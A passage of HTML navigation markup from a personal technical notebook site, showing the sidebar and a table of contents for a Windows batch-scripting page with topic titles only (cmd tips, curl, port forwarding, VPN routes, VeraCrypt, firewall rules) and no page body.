class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          BAT批处理\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        BAT批处理\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cmd\" class=\"md-nav__link\">\n    快速打开cmd\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    并列语句语法\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#for\" class=\"md-nav__link\">\n    来一个死循环吧 for\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#taskkill\" class=\"md-nav__link\">\n    结束进程 taskkill\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#free\" class=\"md-nav__link\">\n    内存整理 free\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sleepx\" class=\"md-nav__link\">\n    睡一会 SleepX\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#curl\" class=\"md-nav__link\">\n    命令行的浏览器 curl\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    判断文件夹存在\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mklinkfsutil-hardlink-create\" class=\"md-nav__link\">\n    创建硬链接mklink或者fsutil hardlink create\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    端口转发\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rvpn\" class=\"md-nav__link\">\n    保持RVPN不断开\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vpn\" class=\"md-nav__link\">\n    浙江大学有线vpn静态路由配置脚本\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    进入休眠\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    快速进入系统代理设置\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cmd_1\" class=\"md-nav__link\">\n    在普通权限cmd中获得更高权限\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"在普通权限cmd中获得更高权限\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#1elevate\" class=\"md-nav__link\">\n    方案1：elevate\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#2sudo-for-windows-luke-sampson\" class=\"md-nav__link\">\n    方案2：Sudo for Windows – Luke Sampson\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip\" class=\"md-nav__link\">\n    命令行配置IP\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"命令行配置IP\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#ipdns\" class=\"md-nav__link\">\n    配置静态IP和DNS\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#dhcp\" class=\"md-nav__link\">\n    配置DHCP\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#veracrypt\" class=\"md-nav__link\">\n    命令行使用VeraCrypt\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"命令行使用VeraCrypt\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    创建一个加密盘\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    挂载加密盘\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    卸载已经挂载的加密盘\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#windows-defender\" class=\"md-nav__link\">\n    命令行关闭Windows Defender\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#windowsip\" class=\"md-nav__link\">\n    命令行增加Windows防火墙规则阻断IP\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cmd\" class=\"md-nav__link\">\n    快速打开cmd\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    并列语句语法\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#for\" class=\"md-nav__link\">\n    来一个死循环吧 for\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#taskkill\" class=\"md-nav__link\">\n    结束进程 taskkill\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#free\" class=\"md-nav__link\">\n    内存整理 free\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sleepx\" class=\"md-nav__link\">\n    睡一会 SleepX\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#curl\" class=\"md-nav__link\">\n    命令行的浏览器 curl\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    判断文件夹存在\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mklinkfsutil-hardlink-create\" class=\"md-nav__link\">\n    创建硬链接mklink或者fsutil hardlink create\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    端口转发\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rvpn\" class=\"md-nav__link\">\n    保持RVPN不断开\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vpn\" class=\"md-nav__link\">\n    浙江大学有线vpn静态路由配置脚本\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    进入休眠\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    快速进入系统代理设置\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cmd_1\" class=\"md-nav__link\">\n    在普通权限cmd中获得更高权限\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"在普通权限cmd中获得更高权限\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#1elevate\" class=\"md-nav__link\">\n    方案1：elevate\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#2sudo-for-windows-luke-sampson\" class=\"md-nav__link\">\n    方案2：Sudo for Windows – Luke Sampson\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip\" class=\"md-nav__link\">\n    命令行配置IP\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"命令行配置IP\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#ipdns\" class=\"md-nav__link\">\n    配置静态IP和DNS\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#dhcp\" class=\"md-nav__link\">\n    配置DHCP\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#veracrypt\" class=\"md-nav__link\">\n    命令行使用VeraCrypt\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"命令行使用VeraCrypt\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    创建一个加密盘\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    挂载加密盘\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    卸载已经挂载的加密盘\n  </a>\n 